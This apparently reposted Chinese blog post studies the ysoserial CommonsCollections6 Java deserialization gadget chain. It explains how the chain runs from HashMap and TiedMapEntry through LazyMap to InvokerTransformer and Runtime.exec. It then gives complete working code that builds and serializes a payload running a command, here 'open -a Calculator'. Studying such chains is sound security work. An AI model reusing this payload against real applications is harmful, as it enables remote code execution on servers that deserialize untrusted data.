yso!cc6链学习

2022-08-10 16:15:11 浏览数 (1)

yso!cc6链学习

2021-03-29 18:03:00
代码审计 - 反序列化 - java

最近想起来学习java,看了下p神的java漫谈(十二),于是也跟着审了一下yso!cc6的链。

Gadget chain

yso中提供的gadget chain为:

代码语言:javascript复制
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

相较于cc1而言,cc6是在高版本>Java 8u71后cc1不可用的情况下解决方案,相较于cc1,cc6同样是使用了cc1中提到的Transformer链的链式反射达成命令执行,同样的使用到cc1中的get方法来触发transform方法,那么这一部分我就不做分析了,重点关注一下新出现的TiedMapEntry以及前面的HashSet、HashMap。

分析

先看到TiedMapEntry这个类,在cc6中属于比较关键的一个类,通过这个类可以触发lazymap#get方法,直接看到其hashCode跟getValue方法:

很明显hashCode中调用了getValue方法,map在构造函数中可以传入,这里指定为lazymap的话顺理成章的就触发了transform方法了。

然后看到hashmap的put跟hash方法:

put会调用到hash方法,hash调用了key#hashCode,串联到上面TiedMapEntry#hashCode那么key的值就很明显了。

然后看到HashSet#readObject方法:

至此就很明朗了。

另辟蹊径

p师傅的java漫谈中提到了事实上HashMap#readObject中就已经可以触发hash方法了:

很明显这里是遍历map,那么只要往HashMap放入一个key为TiedMapEntry的键值对即可完成该gadget。

gadget编写

因为tcl看着yso里面的gadget有很多不明白的地方,所以选择跟着p神的链来编写gadget。

首先的lazymap,一如cc1中的编写:

代码语言:javascript复制
//一个fake的Transformer数组避免运行时直接弹出计算器
Transformer[] fakeTransformers = new Transformer[]{
  new ConstantTransformer(1)
};
//((Runtime) Runtime.class.getMethod("getRuntime").invoke(new Object[] {
//                  null, new Object[0] })).exec("open -a Calculator")
Transformer[] realTransformers = new Transformer[] {
  //class java.lang.Runtime
  new ConstantTransformer(Runtime.class),
  //public static java.lang.Runtime java.lang.Runtime.getRuntime()
  new InvokerTransformer("getMethod",
                         new Class[]{String.class,Class[].class},
                         new Object[]{"getRuntime",new Class[0]}),
  //Runtime实例
  new InvokerTransformer("invoke",
                         new Class[]{Object.class,Object.class},
                         new Object[]{null,new Class[0]}),
  //执行命令
  new InvokerTransformer("exec",
                         new Class[]{String.class},
                         new String[]{"open -a Calculator"}
                        )

};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

先把faketransformer放入map中,等到最后序列化时再将真正的transformer放入,那么下面就是TiedMapEntry。

代码语言:javascript复制
TiedMapEntry tm = new TiedMapEntry(outerMap,"all");
//HashMap#readObject会对key调用hash方法
HashMap expMap = new HashMap();
expMap.put(tm,"allisok");
outerMap.remove("all");
//通过反射获取transformerChain中的私有属性iTransformers并设置为realTransformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, realTransformers);

//序列化
ByteArrayOutputStream bass = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(bass);
oss.writeObject(expMap);

//本地测试
ByteArrayInputStream bais = new ByteArrayInputStream(bass.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();

注意到outerMap.remove("all");这里是因为我们在调用HashMap#put时会触发到hash方法,导致链被调用但是因为lazymap#get需要一个不存在的key才会执行factory.transform所以这里将lazymap中的key使用remove移除掉,否则会影响到payload的生成导致链的利用失败。

本文原创于HhhM的博客,转载请标明出处。

0 人点赞